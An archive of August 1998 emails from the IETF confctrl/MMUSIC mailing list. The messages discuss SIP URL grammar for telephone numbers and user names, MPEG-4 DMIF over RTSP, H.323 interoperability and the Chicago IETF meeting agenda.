	Wed, 19 Aug 1998 17:38:59 -0400 (EDT)
Date: Wed, 19 Aug 1998 17:38:59 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980819173859.ZM7273@seawind.bellcore.com>
In-Reply-To: Christoph Reichert <chris@novedia.de>
        "Re: Multiple SDPs in INVITE necessary to support H.323 interop ?" (Aug 19, 10:33pm)
References: <35DAA46B.8689B659@ifi.uio.no>  <1203.903539443@north.lcs.mit.edu> 
	<19980819190926.47002@novedia.de> 
	<35DB2787.ABF89854@dnrc.bell-labs.com> 
	<19980819223310.50183@novedia.de>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Christoph Reichert <chris@novedia.de>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ?
Cc: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Frankly, I don't think that we should get polarized on the "capability set"
problem.  The idea that everything can be negotiated to death was one of
the prime feature of the OSI model, and did not help these protocols
to succeed.

In practice, we will only get interoperability if we manage to find a 
common set of acceptable capabilities, that most stations in a conference
are likely to support.  The negotiation, if any, will only occur in phases
of transition.

Also, one should recognize the fact that H.323 is based on the very
rigid conference controls defined in H.320, while SDP and SIP are based
on a much looser model.  There is certainly no need to go overboard in
trying to match the two sets.

-- 
Christian Huitema

From confctrl-owner  Thu Aug 20 08:18:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA12575
	for confctrl-outgoing; Thu, 20 Aug 1998 08:18:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12570
	for <confctrl@zephyr.isi.edu>; Thu, 20 Aug 1998 08:18:55 -0700 (PDT)
Received: from smtpott1.nortel.ca (smtpott1.nortel.ca [192.58.194.78])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03070
	for <confctrl@isi.edu>; Thu, 20 Aug 1998 08:18:54 -0700 (PDT)
Message-Id: <199808201518.IAA03070@tnt.isi.edu>
Received: from zcars00t by smtpott1; Thu, 20 Aug 1998 11:18:34 -0400
Received: from ca.nortel.com by zcars00t.ca.nortel.com 
          id <26300-0@zcars00t.ca.nortel.com>; Thu, 20 Aug 1998 11:15:53 -0400
Date: 20 Aug 1998 11:15 EDT
To: confctrl@ISI.EDU
From: "Vahe Balabanian" <balabani@nortel.ca>
Subject: re:MPEG-4 operation with RTSP
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Correction: replace ftp.playground.net/pub/vahe by
http://www.playground.net/~balabanianvahe/vahe/

My sincere apologies, 

Vahe
----->Previous message Aug 29, 1998
Dear all,

This draft technical proposal describes how MPEG DMIF (Delivery 
Multimedia Integration Framework)  can be used with RTSP for setting 
MPEG-4 service sessions and subsequently detaching the service. DMIF 
creates an instance of DMIF RTSP augmented with QoS appropriate for 
each MPEG-4 stream and also makes use of the FlexMux to carry multiple 
streams on a single UDP or TCP IP flow. The stream control play/pause 
etc. using RTSP is executed directly by the MPEG-4 Systems Sync Layer. 

I unfortunately missed the deadline for the upload but
the file draft-ietf-mmusic-rtsp-mpeg4-dmif-00.txt
can be accessed with anonymous from ftp at 
192.58.194.75/pub/vahe or at
ftp.playground.net/pub/vahe

I will be at the Chicago meeting and will participate
Wednesday 13:00-15:00 in the MMUSIC session in 
Sheraton 5 for those who wish to discuss their
comments with me.

Thanks you,

Vahe Balabanian
balabani@nortel.ca
Phone: (613) 763-4721

From confctrl-owner  Thu Aug 20 08:52:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA13766
	for confctrl-outgoing; Thu, 20 Aug 1998 08:52:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA13761
	for <confctrl@zephyr.isi.edu>; Thu, 20 Aug 1998 08:52:22 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA05480
	for <confctrl@ISI.EDU>; Thu, 20 Aug 1998 08:52:21 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA03902; Thu, 20 Aug 1998 11:51:51 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Vahe Balabanian <balabani@nortel.ca>
cc: confctrl@ISI.EDU
Subject: Re: MPEG-4 operation with RTSP 
In-reply-to: Your message of "20 Aug 1998 11:15:00 EDT."
             <199808201518.IAA03070@tnt.isi.edu> 
Date: Thu, 20 Aug 1998 11:51:51 -0400
Message-ID: <3900.903628311@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>This draft technical proposal describes how MPEG DMIF (Delivery 
>Multimedia Integration Framework)  can be used with RTSP for setting 
>MPEG-4 service sessions and subsequently detaching the service. DMIF 
>creates an instance of DMIF RTSP augmented with QoS appropriate for 
>each MPEG-4 stream and also makes use of the FlexMux to carry multiple 
>streams on a single UDP or TCP IP flow. The stream control play/pause 
>etc. using RTSP is executed directly by the MPEG-4 Systems Sync Layer. 
>
>I unfortunately missed the deadline for the upload but
>the file draft-ietf-mmusic-rtsp-mpeg4-dmif-00.txt

I should point out that the normal IETF way of doing things is to
submit drafts like this as a private draft ("draft-balabanian-rtsp-")
rather than as a working group draft.  This is NOT a product of the
MMUSIC working group and is not currently on our charter as being
within our scope.  

If you think it should be within the working group's scope, then you
should discuss that with the WG chairs and/or Area Director.  Only
then should you submit a draft as "draft-ietf-mmusic-".  Also I should
point out to you that the draft actually says "Audio/Video Transport
Working Group", which is not MMUSIC.

I'm not commenting on the quality of the draft itself - just pointing
out that currently DMIF has not been discussed in the context of RTSP
within this working group, and so there is no concensus yet over
whether DMIF is of any relevance, or if it is of relevance, how it
would be used.

Mark Handley (MMUSIC co-chair)




From confctrl-owner  Thu Aug 20 10:19:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA17143
	for confctrl-outgoing; Thu, 20 Aug 1998 10:19:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA17138
	for <confctrl@zephyr.isi.edu>; Thu, 20 Aug 1998 10:19:28 -0700 (PDT)
Received: from mustard.roke.co.uk (mustard.roke.co.uk [193.118.192.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA17940;
	Thu, 20 Aug 1998 10:19:20 -0700 (PDT)
Received: from rsys002a.roke.co.uk by mustard.roke.co.uk with SMTP (PP) 
          with ESMTP; Thu, 20 Aug 1998 18:16:17 +0100
Received: by RSYS002A with Internet Mail Service (5.5.1960.3)	id <QCGGM4TJ>;
          Thu, 20 Aug 1998 18:13:34 +0100
Message-ID: <D76D503DE976D1119C7E00A0C944D875767A99@RSYS002A>
From: "Buller, Jim" <jim.buller@roke.co.uk>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>
Cc: "'Conf Control'" <confctrl@ISI.EDU>, "'Mark Handley'" <mjh@ISI.EDU>,
        "'Eve Schooler'" <schooler@cs.caltech.edu>,
        "'Jonathon Rosenberg'" <jdrosen@bell-labs.com>,
        "Buller, Jim" <jim.buller@roke.co.uk>,
        "Conroy, Lawrence (SMTP)" <lwc@roke.co.uk>
Subject: URGENT: SIP ABNF
Date: Thu, 20 Aug 1998 18:13:25 +0100
X-Mailer: Internet Mail Service (5.5.1960.3)
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



----------
Thanks for your careful reading; let us know if you find anything else.

Ladies and Gentlemen,

Apologies for the URGENT header but I realize most if you shall be 
making your way towards Chicago in the next few days and thought
the contents of this mail may be of interest.

Having had a little more time to implement our parser now we have 
found what could be possible conflict scenarios with the userinfo 
field and the two kinds of  "user"; user name and telephone number
within (draft-ietf-mmusic-sip-08.ps of 7th August). 

At present, the SIP ABNF is "closely related" to that shown in RFC
2396 (URIs). This does not distinguish user names from telephone 
numbers (indeed, the telephone number form is not shown at all).

In the present draft, this discrimination between user forms is driven 
by the user-param element. The current proposal from the SIP draft 
is that one can discriminate between the two forms by the presence 
(or absence) of the "user=phone" user-param i.e. the "user=phone" 
user-param means that the user portion of the associated SIP-URL 
should be interpreted as a telephone number.

However, the following comment, "The phone identifier is to be used 
when connecting to a telephony gateway", on page 22 of the SIP 
draft implies that the user-param should be taken as an indication 
of the ->service<- to be performed i.e.  that of connection to a 
telephony gateway.

This implies an overloading of the user-param i.e. an indication 
of the interpretation of the characters making up the userinfo portion 
of the SIP-URL, PLUS an indication of the service to be provided. We 
suggest that in fact, we MAY need both.

As an example here's a scenario in which the separated service and 
format identifiers could be used: 

      a SIP Invitation has its intended correspondent shown as
      "sip:mary.jones@chi.net;user=phone". The intention of the 
      requestor is that he or she wants to make a call to the 
      person identified as "mary.jones" via an Internet telephony 
      gateway; he or she wants to call mary jones over her
      telephone rather than use an Internet Telephony link. IFF 
      the SIP server has some means of mapping from 
      "mary.jones@chi.net" onto an associated telephone 
      number (for example by using an LDAP personal record) 
      then the request can be processed.

In the case of PINT, a request would not include the "telephony
gateway" service identifier (user=phone), but it might well include a 
telephone number in their request.

In summary, to improve clarity within the BNF, we would suggest that
the user-param should be used only to identify the service. 

The addition of a new token called "user-name" and a couple of small 
alterations (shown below) could then be used to identify the type of the

user part ( telephone | user-name)

userInfo = 
  user
  [ ":" password() ]

user = telephone_subscriber | userName

userName = 
  [ // Note! no initial first '-' or '+'
  (unreserved_without_minus | escaped | "&" | "=" | "$" | ",")
  *(unreserved_without_minus | escaped | "&" | "=" | "+" | "$" | ",")  
  ]

telephone_subscriber = 
  global_phone_number | local_phone_number

global_phone_number(SIP_URL holder) = 
  "+"
  ( phonedigit )+
  [ isdn_subaddress ]
  [ post_dial ]

local_phone_number = 
  "-"
  ( phonedigit | dtmf_digit | pause_character )+
  [ isdn_subaddress ]
  [ post_dial ]
}

The user-name form is restricted so that it cannot begin with either 
a "+" or "-" character.

This would provide a clear distinction between a user name and 
telephone number, and means that we now have a "format-identifier" 
embedded into the sip-url. Thus, with these changes, SIP can now both 
encode a telephone number as a uniquely distinguishable element, 
AND use the existing user-param to indicate the type of service 
required.

Hoping you find this information useful.

Kind regards,

Jim Buller and Lawrence Conroy

p.s. Minors :

Page 21

url-parameters is defined as 0 or more :

";" url-parameter

this means it is feasible for more than one ttl or maddr specification.
The one item 
we can perceive as  perhaps requiring this multiplicity is other-param
perhaps
this could be highlighted in the text.

Page 96

Line beginning :
 ;maddr=239.128.16.254 16;ttl=16

Is this a typo? Does the 16 refer to the ttl and should the ' 16'
therefore be 
removed?

From confctrl-owner  Thu Aug 20 11:12:28 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA19309
	for confctrl-outgoing; Thu, 20 Aug 1998 11:12:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA19304
	for <confctrl@zephyr.isi.edu>; Thu, 20 Aug 1998 11:12:26 -0700 (PDT)
Received: from smtpott1.nortel.ca (smtpott1.nortel.ca [192.58.194.78])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA25309;
	Thu, 20 Aug 1998 11:12:23 -0700 (PDT)
Message-Id: <199808201812.LAA25309@tnt.isi.edu>
Received: from zcars00t by smtpott1; Thu, 20 Aug 1998 14:11:41 -0400
Received: from ca.nortel.com by zcars00t.ca.nortel.com 
          id <07374-0@zcars00t.ca.nortel.com>; Thu, 20 Aug 1998 14:08:59 -0400
Date: 20 Aug 1998 14:08 EDT
To: mjh@ISI.EDU
Cc: confctrl@ISI.EDU
From: "Vahe Balabanian" <balabani@nortel.ca>
Subject: re:Re: MPEG-4 operation with RTSP
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark, 

In message "Re: MPEG-4 operation with RTSP", mjh@ISI.EDU writes:

>
>>This draft technical proposal describes how MPEG DMIF (Delivery 
>>Multimedia Integration Framework)  can be used with RTSP for setting 
>>MPEG-4 service sessions and subsequently detaching the service. DMIF 
>>creates an instance of DMIF RTSP augmented with QoS appropriate for 
>>each MPEG-4 stream and also makes use of the FlexMux to carry multiple 
>>streams on a single UDP or TCP IP flow. The stream control play/pause 
>>etc. using RTSP is executed directly by the MPEG-4 Systems Sync Layer. 
>>
>>I unfortunately missed the deadline for the upload but
>>the file draft-ietf-mmusic-rtsp-mpeg4-dmif-00.txt
>
>I should point out that the normal IETF way of doing things is to
>submit drafts like this as a private draft ("draft-balabanian-rtsp-")
>rather than as a working group draft.  This is NOT a product of the
>MMUSIC working group and is not currently on our charter as being
>within our scope.  

I did not know it and you are  of course right. Since I have not yet
uploaded it to Internet-Drafts I will make the necessary name change.

Again thank you for pointing this out to me.

Vahe Balabanian

From confctrl-owner  Thu Aug 20 14:02:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA24634
	for confctrl-outgoing; Thu, 20 Aug 1998 14:02:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA24629
	for <confctrl@zephyr.isi.edu>; Thu, 20 Aug 1998 14:02:25 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA15569;
	Thu, 20 Aug 1998 14:02:09 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Aug 20 17:01:40 EDT 1998
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA26059;
	Thu, 20 Aug 1998 17:01:38 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id RAA00531; Thu, 20 Aug 1998 17:01:38 -0400 (EDT)
Message-ID: <35DC8EB2.1B3E393B@cs.columbia.edu>
Date: Thu, 20 Aug 1998 17:01:38 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: "Buller, Jim" <jim.buller@roke.co.uk>
CC: "'Conf Control'" <confctrl@ISI.EDU>, "'Mark Handley'" <mjh@ISI.EDU>,
        "'Eve Schooler'" <schooler@cs.caltech.edu>,
        "'Jonathon Rosenberg'" <jdrosen@bell-labs.com>,
        "Conroy, Lawrence (SMTP)" <lwc@roke.co.uk>
Subject: Re: URGENT: SIP ABNF
References: <D76D503DE976D1119C7E00A0C944D875767A99@RSYS002A>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Buller, Jim wrote:
> 

> 
> Having had a little more time to implement our parser now we have
> found what could be possible conflict scenarios with the userinfo
> field and the two kinds of  "user"; user name and telephone number
> within (draft-ietf-mmusic-sip-08.ps of 7th August).
> 
> At present, the SIP ABNF is "closely related" to that shown in RFC
> 2396 (URIs). This does not distinguish user names from telephone
> numbers (indeed, the telephone number form is not shown at all).
> 
> In the present draft, this discrimination between user forms is driven
> by the user-param element. The current proposal from the SIP draft
> is that one can discriminate between the two forms by the presence
> (or absence) of the "user=phone" user-param i.e. the "user=phone"
> user-param means that the user portion of the associated SIP-URL
> should be interpreted as a telephone number.
> 
> However, the following comment, "The phone identifier is to be used
> when connecting to a telephony gateway", on page 22 of the SIP
> draft implies that the user-param should be taken as an indication
> of the ->service<- to be performed i.e.  that of connection to a
> telephony gateway.

That interpretation was not (my) intent. It always seemed rather
far-fetched that a host would need the 'user' parameter to begin with.
It was only intended for the (rare) case that a server

- can do both regular forwarding and gatewaying to the PSTN
- and has users whose names start with + or a number.

> 
> This implies an overloading of the user-param i.e. an indication
> of the interpretation of the characters making up the userinfo portion
> of the SIP-URL, PLUS an indication of the service to be provided. We
> suggest that in fact, we MAY need both.
> 
> As an example here's a scenario in which the separated service and
> format identifiers could be used:
> 
>       a SIP Invitation has its intended correspondent shown as
>       "sip:mary.jones@chi.net;user=phone". The intention of the
>       requestor is that he or she wants to make a call to the
>       person identified as "mary.jones" via an Internet telephony
>       gateway; he or she wants to call mary jones over her
>       telephone rather than use an Internet Telephony link. IFF
>       the SIP server has some means of mapping from
>       "mary.jones@chi.net" onto an associated telephone
>       number (for example by using an LDAP personal record)

>       then the request can be processed.

I'm a little uncomfortable with expressing service requirements as part
of URLs, as their expressiveness is somewhat limited. Wouldn't it be a
better idea to either express the service desired as

- an Accept-Service: phone ;q=0.9, speech-to-text ;q=0.1 or
Call-Disposition: gateway

newly-defined definition (don't take the syntax too seriously)

or as a richer set of SDP descriptions? You might want to express things
like

"reach her by audio through either the phone (if it doesn't cost more
than $0.10/min) or by Internet (if packet loss is less than 10%) or by
text chat (if none of the above). For video, always use the Internet".
or "first try IP phone, then telephone, then pager". 

A better solution to the current simple scenario is, in my opinion, to
have the server return a list of explicit location headers, as in

Location: sip:2125551212@chi.net ;class=... (this is her gateway number)
Location: sip:mj@chi.net ;class=ip  (this is her IP telephony
connection)

and let the caller choose explicitly? 

These additional Location parameters are suggested in the current call
control spec.

> 
> In the case of PINT, a request would not include the "telephony
> gateway" service identifier (user=phone), but it might well include a
> telephone number in their request.

It would also have an SDP description that lists a phone # as the
destination of media, not an IP address.

> 
> In summary, to improve clarity within the BNF, we would suggest that
> the user-param should be used only to identify the service.
> 
> The addition of a new token called "user-name" and a couple of small
> alterations (shown below) could then be used to identify the type of the
> 
> user part ( telephone | user-name)
> 
> userInfo =
>   user
>   [ ":" password() ]
> 
> user = telephone_subscriber | userName
> 
> userName =
>   [ // Note! no initial first '-' or '+'
>   (unreserved_without_minus | escaped | "&" | "=" | "$" | ",")
>   *(unreserved_without_minus | escaped | "&" | "=" | "+" | "$" | ",")
>   ]
> 
> telephone_subscriber =
>   global_phone_number | local_phone_number
> 
> global_phone_number(SIP_URL holder) =
>   "+"
>   ( phonedigit )+
>   [ isdn_subaddress ]
>   [ post_dial ]
> 
> local_phone_number =
>   "-"
>   ( phonedigit | dtmf_digit | pause_character )+
>   [ isdn_subaddress ]
>   [ post_dial ]
> }
> 
> The user-name form is restricted so that it cannot begin with either
> a "+" or "-" character.
> 
> This would provide a clear distinction between a user name and
> telephone number, and means that we now have a "format-identifier"
> embedded into the sip-url. Thus, with these changes, SIP can now both
> encode a telephone number as a uniquely distinguishable element,
> AND use the existing user-param to indicate the type of service
> required.
> 
> Hoping you find this information useful.
> 
> Kind regards,
> 
> Jim Buller and Lawrence Conroy
> 
> p.s. Minors :
> 
> Page 21
> 
> url-parameters is defined as 0 or more :
> 
> ";" url-parameter
> 
> this means it is feasible for more than one ttl or maddr specification.

An ABNF cannot easily express the fact that you can only have one
instance of each parameter. (Just like a syntax specification for a
language can't express the fact that "int x, x;" is not valid C.) The
specification gets rather more complicated if you try to express this, I
think, as you would have to say something like

url-parameters = [";" maddr-parameter] [ ";" ttl-parameter ] ...

which also implies an ordering.


> Line beginning :
>  ;maddr=239.128.16.254 16;ttl=16
> 
> Is this a typo? Does the 16 refer to the ttl and should the ' 16'
> therefore be
> removed?

Yes, a typo. Fixed.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Aug 20 15:22:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA26994
	for confctrl-outgoing; Thu, 20 Aug 1998 15:22:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA26989
	for <confctrl@zephyr.isi.edu>; Thu, 20 Aug 1998 15:22:07 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA24688;
	Thu, 20 Aug 1998 15:22:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Aug 20 18:20:55 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA23460;
	Thu, 20 Aug 1998 18:21:12 -0400 (EDT)
Message-ID: <35DCA0D6.52A00DA1@dnrc.bell-labs.com>
Date: Thu, 20 Aug 1998 18:19:02 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: "Buller, Jim" <jim.buller@roke.co.uk>, "'Conf Control'" <confctrl@ISI.EDU>,
        "'Mark Handley'" <mjh@ISI.EDU>,
        "'Eve Schooler'" <schooler@cs.caltech.edu>,
        "'Jonathon Rosenberg'" <jdrosen@bell-labs.com>,
        "Conroy, Lawrence (SMTP)" <lwc@roke.co.uk>
Subject: Re: URGENT: SIP ABNF
References: <D76D503DE976D1119C7E00A0C944D875767A99@RSYS002A> <35DC8EB2.1B3E393B@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 

> > However, the following comment, "The phone identifier is to be used
> > when connecting to a telephony gateway", on page 22 of the SIP
> > draft implies that the user-param should be taken as an indication
> > of the ->service<- to be performed i.e.  that of connection to a
> > telephony gateway.
> 
> That interpretation was not (my) intent. It always seemed rather
> far-fetched that a host would need the 'user' parameter to begin with.
> It was only intended for the (rare) case that a server
> 
> - can do both regular forwarding and gatewaying to the PSTN
> - and has users whose names start with + or a number.

Right. Basically the problem is that there is no way to know whether the
user-param was formatted based on the telephone subscriber BNF, or
email-like BNF. This tag was basically letting you know which. Whether,
once you've parsed it, you choose to execute gateway service or not, is
a different story, I agree. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Aug 21 10:20:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA22240
	for confctrl-outgoing; Fri, 21 Aug 1998 10:20:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA22235
	for <confctrl@zephyr.isi.edu>; Fri, 21 Aug 1998 10:20:22 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA24226
	for <confctrl@isi.edu>; Fri, 21 Aug 1998 10:20:20 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id NAA07713; Fri, 21 Aug 1998 13:20:19 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: MMUSIC IETF Agenda
Date: Fri, 21 Aug 1998 13:20:19 -0400
Message-ID: <7711.903720019@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Apologies for the very late posting of this agenda - it's been
changing right up to today.  MMUSIC has one slot at the Chicago IETF
on Wednesday from 1pm to 3pm.  

The provisional agenda is:

* SAP and SAP Security (15 min, Edmund Whelan, Mark Handley)

      draft-ietf-mmusic-sap-*

* Local coordination: the Message Bus (20 min, Joerg Ott, Colin Perkins)

      draft-ietf-mmusic-mbus-transport-00.txt
      draft-ietf-mmusic-mbus-protocol-00.txt (un-official)

      This has come up at a number of times in MMUSIC over the past
      three years (previously under the name Session Coordination
      Protocol).  It's not currently an MMUSIC charter work item -
      one of the reasons for discussing it here is to decide if it
      should become one.

* SIP Finalization (15 min, Mark Handley)
      draft-ietf-mmusic-sip-08.txt

      We've sent the SIP spec to the IESG now, but this is to allow
      time for anyone to raise any last-minute important issues.

* SDP and SMIL (30 min, Philipp Hoschka)

      It would be valuable if people could have some background
      knowledge of SMIL. 
      Background information: http://www.w3.org/AudioVideo/#SMIL
      draft-hoschka-smilsdp-00.txt
       or
      http://www.w3.org/AudioVideo/1998/08/draft-hoschka-smilsdp-00

* SDP URLs (15 mins)

      This subject keeps coming up.  WG concensus appears to be that 
      it's a bad idea, but I don't think the discussions have ever
      been publically documented.
      
      Fujikawa Kenji (5 minutes)
      Mark Handley (5 minutes)

* MPEG-4 over RTSP problem discussion (15 mins, no presentation)

      General discussion of issues involved in using MPEG-4 with RTSP.

See you in Chicago!

Cheers,

	Mark, Eve, Joerg, and Ruth

From confctrl-owner  Fri Aug 28 08:59:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01306
	for confctrl-outgoing; Fri, 28 Aug 1998 08:59:36 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA00979
	for <confctrl@zephyr.isi.edu>; Fri, 28 Aug 1998 08:58:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00849
	for <confctrl@zephyr.isi.edu>; Fri, 28 Aug 1998 07:59:58 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (root@bettina.informatik.uni-bremen.de [134.102.224.3] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26011
	for <confctrl@isi.edu>; Fri, 28 Aug 1998 07:56:38 -0700 (PDT)
Received: from klobs.tzi.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.200.36])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id QAA15610
	for <confctrl@isi.edu>; Fri, 28 Aug 1998 16:56:33 +0200 (MET DST)
Message-Id: <3.0.5.32.19980828154657.00873220@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Fri, 28 Aug 1998 15:46:57 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Subject: Presentation slides
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I'd like to ask all the presenters in the MMUSIC session to send
me a (pointer to) a copy of their slides so that I can attach them
to the minutes (as soon as those are done).

Thanks a lot,
Joerg


From confctrl-owner  Fri Aug 28 09:00:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA01589
	for confctrl-outgoing; Fri, 28 Aug 1998 09:00:30 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01225
	for <confctrl@zephyr.isi.edu>; Fri, 28 Aug 1998 08:59:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id GAA28968
	for <confctrl@zephyr.isi.edu>; Fri, 28 Aug 1998 06:14:47 -0700 (PDT)
Received: from desmond.sectra.se (gw.sectra.se [193.45.212.201])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA20811
	for <confctrl@isi.edu>; Fri, 28 Aug 1998 06:11:28 -0700 (PDT)
Received: (from Unaomi@localhost)
	by desmond.sectra.se (8.8.8/8.8.8) id JAA01365
	for confctrl@isi.edu; Fri, 28 Aug 1998 09:10:54 -0400 (EDT)
Received: from gsmdat1 (GSMDAT1.sectra.se [172.17.64.14])
	by naomi.sectra.se (8.8.6/8.8.6) with SMTP id OAA07038
	for <confctrl@isi.edu>; Fri, 28 Aug 1998 14:56:07 +0200 (METDST)
Message-ID: <01fa01bdd285$4a65f0c0$0e4011ac@gsmdat1.sectra.se>
From: "Fredrik Huss" <frehu@sectra.se>
To: <confctrl@ISI.EDU>
Subject: Chicago IETF meeting
Date: Fri, 28 Aug 1998 15:10:54 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01F7_01BDD296.0D6852B0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
